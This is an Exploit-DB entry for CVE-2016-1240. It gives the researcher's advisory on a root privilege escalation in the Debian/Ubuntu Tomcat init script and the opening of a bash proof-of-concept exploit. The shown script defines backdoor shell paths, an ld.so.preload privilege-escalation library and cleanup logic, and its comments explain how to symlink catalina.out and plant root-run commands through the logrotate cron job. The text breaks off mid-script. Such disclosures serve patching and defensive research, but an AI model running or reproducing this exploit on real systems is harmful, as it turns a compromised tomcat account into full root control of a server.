Exploit-DB #40450
Description: Apache Tomcat 8/7/6 (Debian-Based Distros) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2016-10-03
Author: Dawid Golunski

Exploit:
=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-1240
- Release date: 30.09.2016
- Revision: 1
- Severity: High
=============================================


I. VULNERABILITY
-------------------------

Apache Tomcat packaging on Debian-based distros - Local Root Privilege Escalation

Affected debian packages:

Tomcat 8 <= 8.0.36-2 
Tomcat 7 <= 7.0.70-2      
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

Ubuntu systems are also affected. See section VII. for details.
Other systems using the affected debian packages may also be affected.


II. BACKGROUND
-------------------------

"The Apache TomcatÂ® software is an open source implementation of the 
Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket 
technologies. The Java Servlet, JavaServer Pages, Java Expression Language 
and Java WebSocket specifications are developed under the Java Community 
Process.

The Apache Tomcat software is developed in an open and participatory 
environment and released under the Apache License version 2. 
The Apache Tomcat project is intended to be a collaboration of the 
best-of-breed developers from around the world.

Apache Tomcat software powers numerous large-scale, mission-critical web 
applications across a diverse range of industries and organizations. 
Some of these users and their stories are listed on the PoweredBy wiki page.
"

http://tomcat.apache.org/


III. INTRODUCTION
-------------------------

Tomcat (6, 7, 8) packages provided by default repositories on Debian-based 
distributions (including Debian, Ubuntu etc.) provide a vulnerable
tomcat init script that allows local attackers who have already gained access 
to the tomcat account (for example, by exploiting an RCE vulnerability
in a java web application hosted on Tomcat, uploading a webshell etc.) to
escalate their privileges from tomcat user to root and fully compromise the 
target system.

IV. DESCRIPTION
-------------------------

The vulnerability is located in the tomcat init script provided by affected
packages, normally installed at /etc/init.d/tomcatN. 

The script for tomcat7 contains the following lines:

-----[tomcat7]----

# Run the catalina.sh script as a daemon
set +e
touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

-------[eof]------

Local attackers who have gained access to the server in the context of the
tomcat user (for example, through a vulnerability in a web application) would 
be able to replace the log file with a symlink to an arbitrary system file 
and escalate their privileges to root once Tomcat init script (running as root)
re-opens the catalina.out file after a service restart, reboot etc.

As attackers would already have a tomcat account at the time of exploitation,
they could also kill the tomcat processes to introduce the need for a restart.


V. PROOF OF CONCEPT EXPLOIT
-------------------------

------[ tomcat-rootprivesc-deb.sh ]------

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $TOMCATLOG
	touch $TOMCATLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload 2>/dev/null
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
	cleanexit 0
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
	echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
	exit 3
fi
if [ "$2" = "-deferred" ]; then
	mode="d